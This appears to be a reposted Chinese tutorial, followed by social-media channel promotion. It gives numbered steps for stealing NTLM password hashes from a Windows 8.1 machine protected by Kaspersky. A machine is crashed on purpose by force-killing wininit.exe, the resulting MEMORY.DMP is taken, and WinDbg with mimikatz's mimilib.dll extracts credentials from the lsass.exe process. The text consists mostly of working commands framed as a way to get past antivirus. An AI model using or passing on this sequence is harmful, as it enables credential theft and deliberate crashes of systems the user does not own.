文章作者 ：Mr.Wu
原文链接 ：
https://www.mrwu.red/web/2000.html
需要的工具：WinDBG+mimilib.dll
测试环境一：win8.1
kaspersky2019(病毒库为2018.10.25号的)
1、首先我用procdump来dump lsass.exe的内存文件2、再用我在https://www.t00ls.net/thread-47663-1-1.html中分享的用sqldump来dump，结局都一样，因为sqldump和procdump的原理都一样下面我们就用Windows蓝屏memory.dmp文件来测试
3、获取蓝屏后的dmp文件,使系统蓝屏的方法有很多，比如说强制结束系统进程，我这里选择强制结束系统进程wininit.exe
管理员权限运行cmd后,执行taskkill /f /im "wininit.exe"4、取回存在于C:\Windows\文件夹下面的MEMORY.DMP文件5、运行windbg,使用Open the crashdump加载MEMORY.DMP
微信搜索公众号：Linux技术迷，回复：linux 领取资料 。6、加载mimikatz的mimilib.dll
.load C:\Users\Administrator\Desktop\qqq\mimilib.dll注意load 前面那个点别漏掉7、设置微软符号服务器（这一步在测试中可有可无）
.SymFix
8、重新加载
.Reload
9、查看lsass.exe进程的内存地址
!process 0 0 lsass.exe
10、切换到lsass.exe进程中
.process /r /p fffffa800e069b0011、运行mimikatz
!mimikatz
=======================
到此装有kaspersky测试机器win8.1的ntml hash 就成功获得
--完-- 读到这里说明你喜欢本公众号的文章，欢迎 置顶（标星）本公众号 Linux技术迷，这样就可以第一时间获取推送了~ 在本公众号 Linux技术迷，后台回复：Linux，领取2T学习资料 ！ 推荐阅读 1. Linux 中 find 命令的 35 个实际例子 2. 运维必备的《网络端口大全》，看这一份就够了 3. Linux 学习指南 （收藏篇） 4. 2万字系统总结，带你实现Linux命令自由